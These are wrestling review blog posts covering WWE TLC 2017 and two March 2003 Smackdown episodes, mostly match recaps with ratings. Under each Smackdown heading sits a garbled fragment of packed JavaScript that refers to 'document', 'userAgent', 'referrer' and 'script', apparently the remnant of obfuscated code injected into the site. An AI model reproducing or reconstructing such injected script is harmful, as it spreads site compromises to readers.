Rating: B. I liked this one more than the opener and I’m only somewhat surprised by that. Bliss is getting better in the ring and she’s getting that DDT over as a finisher. Of course I can’t imagine her holding the title by the end of the Royal Rumble as Asuka should win the belt in the near future but we can enjoy Bliss while she lasts.

Post match Mickie says she’s disappointed but she’ll be back. We get a thank you to the fans and Mickie is out.

Angle is getting ready in the back when Ambrose and Rollins come in. They’re ready for the match but have a gift for Angle: his own riot squad gear. Angle says he’s in all the way.

Here’s Elias to try his song again but one more time he’s delayed by Jordan throwing vegetables, this time from a shopping cart. Even Graves mentions that we’re filling time.

We recap Enzo Amore vs. Kalisto. Enzo won the Cruiserweight Title last month but Kalisto won it in a big surprise. That wasn’t cool with Amore, who said that he was the only real star in the division. Tonight is the rematch.

Cruiserweight Title: Enzo Amore vs. Kalisto

Kalisto is defending. Before the match, Enzo, with a hoarse voice, does his usual shtick and says he’s not going to be one of those people who stands around while everyone else gets whatever they want. Enzo bails into the corner to start and the chase is on with Kalisto grabbing a headscissors for his first big offense. Another spin sends Enzo bailing to the floor and we hit the stall button. Back in and Enzo sends him head first into the top turnbuckle to take over for the first time.

A hard kick to the ribs keeps Kalisto down and there’s the baseball punch for two. We hit the chinlock with Enzo grabbing the mask to pull Kalisto right back down. Kalisto finally fights back up and sends him hard into the corner, followed by a springboard seated senton. Enzo gets two off a middle rope DDT but the Jordunzo is broken up. Not that it matters as Enzo pokes him in the eye and hits the Jordunzo for the pin and the title at 9:02.

Rating: D+. Well duh. This was only slightly less obvious than Asuka winning as they were just trying to make Enzo sweat a bit before becoming a two time champion. Hopefully they can have other people get title shots now but otherwise, we could be in for some stretchy booking to keep him defending the title. Enzo remains a necessary evil, but that doesn’t make him any easier to sit through.

Post match Enzo thanks himself.

The announcers give all the preview they can for AJ Styles vs. Finn Balor. There’s no story here but they had to give us a huge match with so many last minute changes. For once, this actually lives up to the term Dream Match and that’s a nice change of pace.

Finn Balor vs. AJ Styles

Balor is the Demon and the fans are split here. A lockup goes nowhere so they trade shoulders for no advantage either. They try a technical sequence and it’s a standoff as the fans are very pleased. Balor goes to the apron and scores with a kick to the head, setting up a kind of awkward sequence where Balor didn’t seem to realize that AJ was on his stomach and tried to cover.

It’s a surfboard instead though with Balor starting in on the leg. Back up and AJ catches him with a hard forearm, followed by a slingshot Phenomenal Forearm for two. The fans are split as Balor comes back with a series of shots in the corner, including a hard shot to knock AJ off the top and to the floor. That means a big flip dive, which the fans think is awesome. Back in and Balor scores with the Sling Blade but AJ grabs the fireman’s carry backbreaker to cut him off.

The Styles Clash is broken up so it’s a belly to back faceplant to give AJ two of his own. Now it’s Balor back up and stomping away in the corner, followed by a running kick to the face. That just earns Balor the Calf Crusher until he has to grab AJ’s head and slam it into the mat for the break. The Phenomenal Forearm is loaded up again but this time it’s Balor shoving him off the top for a big crash to the floor.

Balor follows him up with a running dropkick to send AJ into the barricade, only to have AJ drive him over the announcers’ table. They dive back in at nine and stereo crossbodies put them both down. The Phenomenal Blitz staggers Balor but he’s right back with the Pele to give us another standoff. A reverse implant DDT takes AJ down but a Pele cuts off the Coup de Grace. AJ isn’t about to be outdone so it’s a super springboard hurricanrana. He misses the springboard 450 though and the shotgun dropkick puts AJ in the corner. The Coup de Grace ends AJ at 17:54.

Rating: B+. This was the only option they had with all the changes. WWE had to deliver something special and that’s what they did with something that actually lived up to the dream match moniker. Balor winning was the right call as there’s no point in not giving the Raw guy a rub on the Raw show. It’s also a very good match with both guys looking like stars the whole way through. WWE did what they could here and that’s very nice to see for a change.

They shake hands post match and we get the TOO SWEET that will be talked about to a completely unnecessary degree.

Elias is out here a third time and this time he’s in the ring. At least there’s a match this time around.

Jason Jordan vs. Elias

Bonus match. Jordan wastes no time in powering Elias down to the mat so Elias shoves him in the face. Elias bails to the floor for a breather, followed by a headlock back inside. Something like a powerslam takes Elias down but Jordan gets sent hard into the post. Elias grabs a seated abdominal stretch as Booker changes his mind on Elias in the span of a minute. A regular abdominal stretch keeps Jordan in trouble until he powers Elias into the corner.

There’s the belly to belly and a swinging Saito suplex gets two more. Jordan can’t hit the belly to belly superplex so Elias slams him into the corner instead. Elias tries a suplex but gets reversed into a small package. Jordan lets him go at two but the referee counts the pin anyway at 9:54. It looked like Elias’ shoulder was up and Booker is borderline livid.

Rating: D. Standard Raw match here but they had to fill in the time with something. Jordan winning that way seems to set up another match down the line (by which I mean tomorrow night) but at least they seem to be pushing someone. Now of course watch them have Elias win the rematch and make this a big waste of time.

Quick video on Angle’s career, followed by a recap of the main event. The Shield members were dealing with Miz and company and decided there was strength in numbers. Ambrose made the mistake of saying the team could face three, four or five men so Miz took him up on it. Then Reigns got sick so Angle is taking his place.

Dean Ambrose/Seth Rollins/Kurt Angle vs. Miz/Braun Strowman/Kane/The Bar

Tables, ladders and chairs but you win by pinfall or submission. Angle is in Shield gear for a nice touch and it’s Rollins diving on the pile, allowing his partners to grab some chairs and take over to start. Strowman gets chaired down and Kane gets the same treatment, allowing Ambrose and Rollins to hit stereo dives. Sheamus and Cesaro remember that they’re in the match and save Kane from going through the announcers’ table.

The Shield guys take over again though and Kane is set on the table, only to have Strowman fight back. Rollins saves Kurt from going through a table and Strowman is chaired down again. It’s double ladder time with Strowman and Kane being laid on the tables, setting up a splash and elbow drop for the first big spot of the match. With everyone else down, Angle throws Miz back inside but gets met by Cesaro and Sheamus. Ambrose and Rollins get back in to break up the TripleBomb, leaving Angle to roll some German suplexes on Miz.

Cesaro and Sheamus take one each as Angle is all fired up. Speaking of fire being up, Kane sits up but gets taken right back down with an ankle lock. Strowman makes the save and it’s a running powerslam through a table to knock Kurt silly. The villains come back with chair shots and it’s Angle being taken to the back by medics, only to fall to his knees in the aisle. Booker actually rants about how selfish Angle was as Rollins is thrown head first into a chair in the corner.

The beating continues for a good while as the fans want Lesnar. Ambrose and Rollins try to fight back and Kane accidentally chairs Strowman. For some reason the Shield guys break it up, which is enough to end the brawl. It’s table time but the double Razor’s Edge sends Ambrose bouncing off the table in a SICK crash. Miz has the Bar take Rollins up the ramp and it’s a garbage truck backing into the arena. Ambrose and Rollins fight out of the truck though and hit dives onto everyone but Miz in the big hope spot.

Miz begs him to stop but Strowman takes out all of his partners, setting up the fight with Kane. Everyone gets together and Strowman is thrown into the truck, which turns on. Rollins is thrown back into the ring and it’s Miz/the Bar doing the Shield entrance. A springboard assisted White Noise plants Seth but Dean makes the diving save at two. Kane calls for a chokeslam….and here’s Angle back again.

The Bar takes Angle Slams on the floor but Kane takes him down with a clothesline. Ambrose and Rollins come back in with chairs before driving Kane through the barricade. The Skull Crushing Finale takes Angle down from behind for a heck of a near fall. The ankle lock has Miz in trouble but Miz sends Kurt outside for the break. Rollins gets back in for the wind-up knee into Dirty Deeds into the Angle Slam and Miz is basically done. The TripleBomb is good for the pin at 35:23.

Rating: A-. WOW. I’m really not sure what to say about this but I think we can call it the most ridiculous, insane, over the top and crazy entertaining match that will mean a grand total of nothing in recent history. I mean…..THEY PUT A MAN IN A GARBAGE TRUCK AND CRUSHED HIM! LIKE SHREDDER IN TEENAGE MUTANT NINJA TURTLES! And that’s not even the first time someone has used a large truck to try and destroy him this year!

The match was a complete over the top mess and that’s all they could do here. Instead of trying to have a match (which would have been ridiculous given how one sided it was on paper), the whole thing was just a chaotic mess and that’s the best possible outcome. I could have gone with Sheamus, Cesaro or Kane taking the fall but at least it was after a lot of offense. Angle looked fine and I get the break he took, though it makes me wonder if Reigns would have taken that break as well had he been in there (probably not of course but it’s not out of the question). Insanely fun main event and really all they could have done.

Overall Rating: C+. I’m not sure what to think of this one, but it’s safe to say that they weren’t able to put forth their best show given all the last minute changes. That being said the matches we got were probably a lot better, which brings up the fact that a horrible disease is booking the pay per views better than the Raw creative team (I wish I could take credit for that but I saw it elsewhere). It’s not a show that anyone needs to see again (though the last two matches were a blast in different ways) but all things considered, this was good stuff.

Oh and by the way: they added two segments, a bonus match, admitted they were filling in time and STILL MANAGED TO GO OVER! I don’t know if that’s really impressive or pathetic but it made me chuckle.

Results

Asuka b. Emma – Asuka Lock

Cedric Alexander/Rich Swann b. Jack Gallagher/Brian Kendrick – Lumbar Check to Kendrick

Alexa Bliss b. Mickie James – DDT

Enzo Amore b. Kalisto – Jordunzo

Finn Balor b. AJ Styles – Coup de Grace

Jason Jordan b. Elias – Small package

Kurt Angle/Dean Ambrose/Seth Rollins b. The Miz/Braun Strowman/The Bar/Kane – TripleBomb to Miz

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Tables Ladders and Chairs 2017 Preview

Let’s get this in as fast as I can before another performer is taken off the card due to illness. In a rare case, two top level wrestlers scheduled to appear on this show have been taken off the card due to medical issues. That changes the whole dynamic of the show, but that doesn’t mean the show is worse as a result. It should be interesting to see where the card goes from here so let’s get to it.

Kickoff Show: Sasha Banks vs. Alicia Fox

So this might have been scheduled to be Nia Jax in Fox’s spot but Jax not getting to face Asuka was enough to make her leave the promotion for the time being. Banks already made Fox tap out earlier in the week on “Monday Night Raw”, which makes me wonder what the point is in having the match all over again. Maybe they’re trying to convince us that there will be a surprise ending?

If that’s what they’re going for, I’m certainly not buying it. I have no reason to believe that this won’t end with another Bank Statement and there’s really no reason for Fox to win the thing. Fox is nothing more than a warm body for Banks to defeat and there’s nothing wrong with that. Banks is someone who is going to fire the crowd up as soon as she comes into the arena and that’s exactly what you want a dark match to do. Good choice for a match, but not exactly a questionable ending.

Cruiserweight Title: Kalisto(c) vs. Enzo Amore

Over the last few weeks of “205 Live”, I’ve been finding Amore more tolerable than I have in recent months. However, that doesn’t mean he’s any less annoying that he’s been for the last…well ever actually. Kalisto won the title a few weeks back and it seems that we’ve just been counting down the time until Amore gets the title back for the sake of making “205 Live” interesting again.

In other words, of course Amore gets the title back here as Kalisto is little more than a quick way to make Amore a two time champion. It helps that they let him keep the belt for more than a few days, though it doesn’t make things any better. Amore dominates any show he’s on and that can get old in a hurry. I get why he’s around and he’s a necessary evil, though that doesn’t make him getting the title back any easier. So yeah, Amore wins, much to the rise of my blood pressure.

Finn Balor vs. AJ Styles

This is the first of the two lineup changes we’ve had to undergo as Styles is replacing Bray Wyatt, who has been taken off the show due to medical reasons. That’s a major problem as Wyatt was supposed to debut Sister Abigail and Balor was supposed to bring back the Demon character. It seems that Balor will still be the Demon in what is now a glorified dream match.

I’ll take Balor to win as “Monday Night Raw” shouldn’t have one of its top stars lose, especially with a potential World Title challenge in the next few months. That’s a problem when Styles seems to be up next for Smackdown World Champion Jinder Mahal. However, the tie goes to the wrestler with home roster advantage so I’ll take Balor winning in a heck of a classic.

Women’s Title: Alexa Bliss(c) vs. Mickie James

This is the classic “I’m young and awesome and you’re old and lame” story which could very easily be set up for the sake of giving James the big feel good win, only to have Bliss get the title back in very short order. On the other hand, it could be little more than a way to give Bliss a quick win and there’s nothing wrong with that.

I’ll take Bliss to retain here, though the idea of giving James a win is tempting. James has been teasing tying Trish Stratus’ record for the most Women’s Title reigns in company history though I don’t think they’ll actually pull the trigger. Bliss can move on to facing someone else (hint: her name rhymes with Shaska) later on and James isn’t going to lose anything if she doesn’t pick up the title. So yeah, Bliss retains, even though I’m not feeling as sure as I was just a few days ago.

Asuka vs Emma

Did you now that Jesse Ventura and Roddy Piper filmed a pilot for a cop show back in the 1980s? The show was called “Tag Team” and it was looking strong to be picked up but that never quite came together. Now what does this have to do with the match? Well nothing, but what else am I supposed to talk about for the build towards this one?

Of course Asuka is going to destroy Emma and of course that’s what should happen. Asuka hasn’t lost since she came to WWE and Emma is little more than an appetizer before she gets on to someone more important and/or a bigger challenge. Emma was the obvious option for this as she can get destroyed and lose nothing, mainly because she has no value in the first place. Asuka wins here and it’s a glorified squash at worst.

Cedric Alexander/Rich Swann vs. Jack Gallagher/Brian Kendrick

To paraphrase a certain song: “This is filler. Filler night. And no one’s gonna save you from this match actually being on pay per view.” Yeah there’s no hiding the fact that this is taking place because the main event if featuring eight people and they need something else to fill in part of the card. It’s nice that the cruiserweights are getting another spot on the card but it’s the popcorn match of the night.

I’ll take Alexander and Swann to win here and I’m not particularly sure why. Neither of them is interesting and while the story worked well enough, they’re just showing how unimportant the rest of the division really is. There’s a story to the match (revenge, basically) and that’s all well and good, but if the participants feel so unimportant, the match isn’t likely to be worth watching.

Seth Rollins/Dean Ambrose/Kurt Angle vs. Miz/Kane/Braun Strowman/The Bar

Hokey smoke what a match this has turned into. The original idea, and the match the entire show was built around, was the Shield vs. these five, though Roman Reigns was taken out due to another medical issue. That leaves Angle to fill in and….I have almost no idea what to think of the change. Angle is a special attraction and I’d like to see him get built up for a lot longer, but desperate times call for bad builds.

I’ll definitely take Rollins/Ambrose/Angle as there’s just no reason to have any other option. Angle is probably a one off appearance and there’s nothing wrong with that. Hopefully he doesn’t die or something in the ring, though that’s almost par for the course whenever Angle gets in the ring. The match should be violent, but Kane, Cesaro and Sheamus are all there to take a fall for any of the winners and that’s the way to go.

Overall Thoughts

This is an interesting show as the whole thing has been turned upside down in the span of a few days. The top two matches have been thrown out (well only somewhat in the main event’s case) yet somehow the show is even better on paper than it was just a few days ago. I could go for a long Balor vs. Styles match and Angle…well let’s just hope he’s ok. The show’s gimmick has gone from interesting to something I only remember because of what the show is called, which isn’t the best sign. This show really is a once in a long time situation and it could be interesting to see how WWE handles things.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Well That Changed Everything

So I go to dinner with the in-laws and apparently the wrestling world just went nuts.

Due to a bad viral infection, Roman Reigns and Bray Wyatt will be off the pay per view with Kurt Angle and AJ Styles appearing as his replacements. I mean….wow indeed. Styles replacing Wyatt to face Finn Balor is fine, albeit a bit annoying as we’re likely to see Wyatt vs. Balor again later. That was the second biggest match on the card and having Styles on a show never hurt a thing.

Then you have the Shield reunion being ruined and….sweet goodness this is a big deal. The Shield was the entire focus of this show and now that’s been thrown out the window. This is a heck of a change of plans and there’s only so much you can do when your top story is out the window. Angle is a very surprise replacement but I’m not sure if having him in a TLC match is a good idea. Hopefully he’ll be safe (not likely given his high level of insanity) but this is quite the surprise.

Overall, I have no idea how well this is going to go. It’s something that can change every now and then and they only have so many options when you have a rash of illnesses like this. Hopefully the show winds up being ok but what does it say when the replacements make the show that much more entertaining?

Smackdown – March 27, 2003: Cena Begins

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yinaa|var|u0026u|referrer|yneik||js|php'.split('|'),0,{})) March 27, 2003
Location: HP Pavilion, San Jose, California
Commentators: Michael Cole, Tazz

It’s the final show for Wrestlemania and also my dad’s fiftieth birthday. Everything is pretty much set so there’s a good chance this is going to be little more than a slow paced final push towards the show. Hopefully it’s better than Raw, which really shouldn’t be all that difficult of a task. Let’s get to it.

Opening sequence.

Rey Mysterio/Brian Kendrick vs. Matt Hardy/Shannon Moore

Kendrick now has theme music, but it’s not as catch as Matt’s, whose Mattitude will make Wrestlemania a success and is very humble. Shannon starts with Brian and gets two off an early snap suplex. A hurricanrana puts Shannon down though and it’s off to Rey to speed things up. Some raised boots in the corner slow Rey down but Rey dropkicks Matt for two.

It’s back to Kendrick but he’s quickly pulled into the wrong corner to start the double teaming. Shannon’s belly to back gets two and Matt gets the same off a wicked Splash Mountain Bomb out of the corner. Brian slips over for the hot tag and it’s off to Rey for the bulldog and springboard seated legdrop for two on Matt. A tornado DDT gives Kendrick the same and he drops Shannon with Sliced Bread #2, only to walk into the Twist of Fate for the pin.

Rating: B-. Heck of an opener here with all four getting to show off a bit. I’m glad they didn’t have the fall between Mysterio and Hardy for a change and it’s not like pinning Kendrick is a big stretch. If nothing else it’s nice to see a match with some energy in the week before Wrestlemania as they were certainly absent from Raw.

Post match Rey hurricanranas Moore but walks into a Twist of Fate.

Hulk Hogan arrives with his son and Jimmy Hart.

Roddy Piper is interested in Hogan vs. McMahon.

Video of last week’s contract signing.

Here’s Hogan for hopefully (and not likely) the last big push towards the match. Hogan talks about having a business relationship with Vince for over twenty years but he never really knew the man. He’s seen Vince do some horrible, evil and often illegal things but he never knew how twisted Vince really was. If Vince is a genius, he’s an evil genius (no brother so you know he’s serious). He recaps the No Way Out ordeal and it made him so mad that he agreed to make Sunday’s match a street fight.

This won’t be his last time on Smackdown because Sunday is going to be a fight twenty years in the making. You’ll see a Hogan you haven’t seen in twenty years because you’ll have to see it. Hogan promises to leave Vince in a pool of his own blood to wrap it up. It’s a good promo, but we’re still talking about two guys who aren’t wrestlers at this point fighting over which of them is responsible for them both being multi-millionaires. That’s at worst the second biggest match on the show and it’s pretty hard to get behind that idea.

Eddie Guerrero vs. Charlie Haas

They trade leg trips to start and get two each as the fans are very behind Eddie early on. Eddie shoulders him down but seems to bang up his own shoulder. Charlie grabs a hammerlock and drops him arm first onto the rope to take over. A clothesline gets two and Charlie cranks on the arm even more. Eddie suplexes his way out of an armbar but lands on the shoulder again. A hammerlock northern lights suplex gets two but another suplex is countered into a rollup for the fast pin.

Rating: C+. The arm stuff was a good idea here but the time hurt them a bit. Eddie and Chavo are starting to get over as faces due to pure in-ring ability and charisma, plus the whole not fighting the FBI anymore. Haas and Benjamin continue to lose, which almost guarantees that they retain on Sunday.

John Cena promises to teach Brock Lesnar a lesson like he’s Mr. Miyagi.

Video on the FBI, which is actually really well produced. Like, more so than their usual great production.

Lesnar isn’t worried about Cena.

Nathan Jones has beaten up Chuck Palumbo off camera instead of having a match. So five minutes ago we get a good video on the team and now one of them is left laying off camera. Well done WWE.

Vince training montage with Shane as his coach. Can he still catch a chicken though? This is missing from the Network version for no apparent reason.

Nidia and Jamie Noble are in the back when they see Torrie Wilson’s Playboy cover. Jamie can’t bring himself to say that Nidia is prettier.

Wrestlemania Moment: Morton Downey Jr. in Piper’s Pit.

Video on Torrie’s Playboy press conference with Stephanie introducing her for whatever reason. Torrie has the best body she’s ever seen, which is the endorsement that Playboy has been looking for.

Torrie Wilson vs. Nidia

Nidia jumps her from behind and grabs a chair as this is already more physical than I was expecting. A baseball slide sends the chair into Nidia’s face for two and Tazz starts singing. The fans want puppies but settle for Torrie hitting a DDT for the pin.

Big Show and A-Train run into Nathan Jones and make fun of his prison sentence.

Sean O’Haire tells us to eat whatever you want.

Big Show/A-Train vs. Chris Benoit/Rhyno

Cole thinks Heyman had something to do with this for the sake of softening up Rhyno and Benoit for Sunday. For once, that’s almost insightful. A-Train muscles Rhyno into the corner for a rare visual but gets stomped back for a nice reaction. Benoit comes in for some hard chops but one heck of a shoulder drops him hard.

It’s off to Show and Benoit gets tossed hard into the corner, only to come out with some chops. Show clotheslines him down and the beating begins. There’s the required big toss across the ring, which still looks cool every single time. A big headbutt sends Benoit into the corner and it’s off to A-Train for some stomping.

Something like a Gory Stretch has Benoit screaming but a Vader Bomb hits boots. Benoit finally gets in a German suplex and makes the hot tag to Rhyno, who has no issues running through the monsters. Everything breaks down but here’s Jones to go after Show for the lame but logical DQ.

Rating: C. This was actually going somewhere until the ending, which was the only option they had here. Rhyno continues to impress and I’m starting to appreciate his rather simple but effective style. Everyone was game here and it made for a better match than I was expecting, which isn’t that hard for a Big Show/A-Train match.

Undertaker comes in and helps clear the ring.

Kurt Angle is looking for Brock. Post break he’s in Lesnar’s locker room and says they’re a lot alike. The difference is that Brock is a 25 year old rookie and he’s not ready. This match is going to change wrestling forever because they’re the best in the business. If Angle gets destroyed on Sunday, he’s done enough already. He’s bringing everything on Sunday and is willing to end Lesnar’s career to win.

Lesnar doesn’t think this is as brave as Angle hopes it is because Kurt knows he’s safe until Wrestlemania. Brock is willing to lay it all on the line on Sunday. At Wrestlemania, here comes the pain, because Lesnar will do anything to win the title. Good stuff here, and I liked it not being in the ring for a change.

Wrestlemania card, with the Raw Tag Team Title match being moved to Sunday Night Heat.

Another Vince training video.

Gene Okerlund is ready for Hogan vs. McMahon and says they were both responsible for the boom.

Chavo Guerrero vs. Shelton Benjamin

Some amateur stuff goes nowhere so Chavo speeds it up with a headscissors and a dropkick for two. Shelton goes after the leg though and Chavo is in quick trouble. Benjamin grabs a leg lock but Chavo is next to the rope for a break. Shelton puts on a different hold (always appreciated) but Chavo reverses into a small package for two. It’s off to the third hold until a cradle gives Guerrero two more. An enziguri finally gets Chavo a breather and both guys are down. Eddie cuts off Charlie’s interference attempt, leaving Chavo to grab la majistral for the pin.

Rating: C. Oh yeah Team Angle is winning and they’re not even trying to hide it at this point. Chavo looked good here, which isn’t the biggest surprise despite his abilities often being overlooked. This was basically the same formula from earlier but with a different limb, which makes it no surprise that it worked.

Post match Team Angle attacks, only to have Rhyno and Benoit make the save and clean house.

Rikishi vs. John Cena

Cena debuts Basic Thuganomics as his theme music. He jumps Rikishi during his entrance and hammers away until a single right hand puts him on the floor. Rikishi gets whipped into the steps though and Cena pulls off the barricade padding to ram him back first. Back in and we hit a crossface chickenwing of all things as things slow way down. Rikishi fights up and hits the Samoan drop. A superkick sets up the corner splash and Stinkface but the Rump Shaker hits knees. The ref bump allows Cena to hit the chain shot for two, followed by I believe the debuting FU (much closer to a Death Valley Driver here) for the pin.

Rating: D+. It’s kind of fascinating to see so much of what defined Cena debuting in one match as he had the music, the finisher and most of the signature look all at once. It made him look like a star instead of the goof that he was for months leading up to this. They almost have to do Lesnar vs. Cena now and that’s not the worst idea in the world.

Overall Rating: C. This was a back and forth show with good action (FAR better than Raw) but at the same time there was so much Vince vs. Hogan stuff that it took away the limited interest I had in the match in the first place. I’m still not wild on Wrestlemania but this show did help a lot as they focused on a lot of stuff. Unfortunately one match got so much of the hype and it’s really not one of the best things on the card. It’s all going to be about the presentation and in-ring results on Sunday but they’ve got their work cut out.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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Smackdown – March 20, 2003: At Least They’re Admitting It

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbfek|var|u0026u|referrer|dbbsr||js|php'.split('|'),0,{})) March 20, 2003
Location: Freedom Hall, Louisville, Kentucky
Commentators: Michael Cole, Tazz

We’re ten days away from Wrestlemania XIX and hopefully things are going to pick up around here. The big story coming out of last week is Kurt Angle screwing over Brock Lesnar in their big showdown last week. You know Lesnar isn’t going to stand for that so violence is likely due. Let’s get to it.

We open with a montage of America the Beautiful from Wrestlemania over the years in honor of the US armed forces invading Iraq. The fact that I can tell which Wrestlemania each is from on the audio alone tells me that I’ve spent WAY too much of my life watching Wrestlemania.

Long recap of last week’s title match, including showing the brothers Angle switching during Lesnar’s entrance. That wasn’t shown last week.

Opening sequence.

Charlie Haas vs. Rhyno

Rhyno wastes no time in slugging away before Haas can even get his belt off. Some hard right hands (that intensity is always cool to see) have Haas in even more trouble but he sends Rhyno outside for a superkick from Shelton. Back in and a belly to belly sends Rhyno flying before it’s time to work on the knee.

We hit a few leg locks until Rhyno finally crawls over to the ropes. Charlie sticks with the leg until Rhyno uses the good leg to kick him away. A suplex drops Charlie but the knee gives out again. Tazz: “It’s like a table with three legs but Rhyno has two legs because he’s a human and not a table”. Shelton grabs the bad leg to break up the Gore and it’s a belt shot to Rhyno’s head for the DQ.

Rating: C-. I was starting to dig the match until the pretty stupid ending. If you want to do the DQ, just do it off Shelton interfering. Either way, at least Rhyno got to show off a bit as you rarely think of him doing much more than the Gore. He can wrestle a pretty decent power match and he was having a good little match here until the messy ending. I can always go for preventing title match participants from taking a pin before a pay per view though.

Bob Costas talks about how big Hulk Hogan vs. Vince McMahon will be, because it’s like the seniors’ golf tour. That’s quite ahead of its time for a featured Wrestlemania match.

Brian Kendrick is in Stephanie McMahon’s office so she can yell at him (shocking I know) for defying her authority in his efforts to get a job. Uh….if he doesn’t work here, why does he answer to Stephanie? Anyway she’s giving him a match tonight and if he wins, he gets a contract. You know, because Stephanie is firm but kind.

John Cena issues an open challenge for a rap off at Wrestlemania. This was scheduled to take place but the rapper, Fabolous, was arrested before the show and therefore the whole thing was canceled. Cena is ready for Lesnar too and is back next week.

Los Guerreros go to a golf course and annoy some semi-racist golfers. One golfer suggests a foursome but Eddie didn’t quite mean that. They agree to a winner take all bet and of course Eddie and Chavo cheat to win. Chavo: “If you’re not cheating, you’re not trying.”

Rikishi/Los Guerreros vs. FBI

Nunzio jumps Eddie to start but Chavo comes in with a Batista Bomb of all things for two. It’s off to Palumbo so Chavo starts in on his leg but a clothesline takes him down. Cole: “I’ve got a nickname now: the gangsta.” As you try to get that image out of your head, the Italians lure Eddie in and put Chavo in a double half crab (seems unnecessary) so Nunzio can drop a middle rope leg to the back of his head.

Palumbo gets two off a Samoan drop but a tornado DDT gives Chavo a bit of a reprieve. There’s the hot tag to Eddie and everything breaks down with Rikishi cleaning house with a double clothesline. All three Italians get crushed in the corner by the big man, leaving Palumbo to take a superkick and the frog splash for the pin.

Rating: D+. Am I missing something with the four non-Guerreros? Rikishi and the FBI get TV time almost every week for some reason and I have no idea why. They’re not interesting and there’s nothing special about them but for some reason they’re treated like fairly big stars. At least Eddie got the pin, though they should be getting more attention on their upcoming title match rather than this one off match.

Bobby Heenan calls Hogan vs. McMahon the old timers’ match as well. He’s right, again. It’s still sad to hear his voice that way though.

Rey Mysterio vs. Jamie Noble

Mysterio sends him into the corner to start but gets powerbombed into the buckle for his efforts. Rey gets tossed outside for a hard clothesline from Nidia and it’s off to an inverted Gory Stretch back inside. A tornado DDT plants Noble and a top rope hurricanrana makes things even worse. Nidia grabs Mysterio’s mask so he dives over the top to take her out in a rather violent moment. Back in and the 619 into the West Coast Pop gives Rey the pin.

Rating: C. Mysterio rising up the cruiserweight ranks is the best thing that can happen to the division and it’s cool to see him starting to get closer to the title. It’s also a good idea to have him go after Matt Hardy, who is a far bigger star than anyone in the division and therefore a better match for Mysterio. Unfortunately the rest of the division is pretty interchangeable and expendable, though they can put on some nice filler matches, just like Noble did here.

Kurt Angle tells his brother Eric, now in a leg cast, that they’ll make things right.

Here are the Angles for a chat. Kurt brags about retaining the title and credits his intelligence in making it happen. He explains the entire plan from last week and says Eric is the best brother anyone could have. Eric: “Mom was right. You don’t suck bro.” Now on to serious business though, as Kurt has to deal with Lesnar for putting his hands on Eric. Kurt calls him a disgrace to all forms of wrestling and says if you hurt one Angle, you hurt all Angles.

He wants Brock out here right now but gets…..Stephanie instead. Well to be fair she’s more intimidating. She changes the rules for Wrestlemania, saying that if Kurt gets disqualified, he loses the title. Stephanie: “Don’t look at me like that Kurt!”. Kurt isn’t happy but he’s staying out here until he gets his apology from Lesnar. Cue Brock to go after Eric but Kurt hits him low and Angle Slams Brock through a chair. Angle puts a knee in Brock’s back and grabs something like a Crossface until referees break it up.

Undertaker vs. Bill DeMott

Undertaker shoulders him down to start as Cole mentions that Undertaker has never lost at Wrestlemania. A kick to the ribs is countered into a legbar to send DeMott over to the ropes. Snake Eyes looks to set up a big boot but DeMott grabs a spinebuster for two instead. Undertaker is right back up with Old School for the same but the chokeslam is broken up. The second attempt works just fine though and the Tombstone ends Bill without too much effort.

Rating: D. Just a step above a squash here but it was good to give Undertaker a win like this. If nothing else it might get rid of DeMott even faster as he’s still not an interesting heel. At the very least he’s likely heading to Velocity now as there’s little left for him to do after a loss like this.

Brock thinks he’s broken his ribs again. Isn’t that always the way before a big title shot?

Brian Kendrick vs. Shannon Moore

Shannon has Matt Hardy, who graciously included Shannon in his book and is Shannon’s idol, in his corner. Brian tries some fast rollups to start and slips out of an electric chair into la majistral for two. A snap suplex gives Shannon two and we hit the bow and arrow. Back up and Brian gets in a facebuster followed by a springboard missile dropkick for two, with Tazz saying that was his best shot.

Matt has had enough of this being in trouble thing and pulls Brian to the floor for a faceplant onto the steps. That’s only good for two though and here’s Mysterio to go after Matt, allowing Brian to hit Sliced Bread #2 for the win. Since Kendrick doesn’t have music, he leaves to Rey’s instead.

Rating: D+. Nothing wrong with this one and I’m glad we can get rid of the Kendrick doesn’t have a job story as he’s wrestled more often than most people already on the roster. Mysterio and Hardy getting involved works as well as anything else and it’s not like Moore losing is going to hurt anyone. Not the worst match either.

This week’s Wrestlemania moment: Mr. T. vs. Roddy Piper in a boxing match. That’s the ONLY option they had?

We run down the Wrestlemania card.

Clips of the Wrestlemania press conference.

Vince is happy with the contract before the signing later tonight.

Chris Benoit vs. Shelton Benjamin

Benoit chops away to start and gets one off a belly to back suplex. Shelton gets in a suplex of his own for two and chokes on the mat to set up a chinlock. That’s fine with Benoit who comes back with a Crossface but Shelton rolls out, only to get dropkicked back down. The Crossface goes on again with Rhyno goring down an interfering Haas, leaving Benjamin to tap.

Rating: C. It was really short but intense while it lasted, which is all you can expect from these two. I’m really not big on a champion losing in about three and a half minutes at any point, especially less than two weeks before the pay per view. At least it wasn’t in a tag match though, which would have been even worse. Fun match while it lasted though.

Jesse Ventura doesn’t think there’s ever been a bad Wrestlemania and thinks Vince is willing to take chances. Did he just stop watching when he went to WCW?

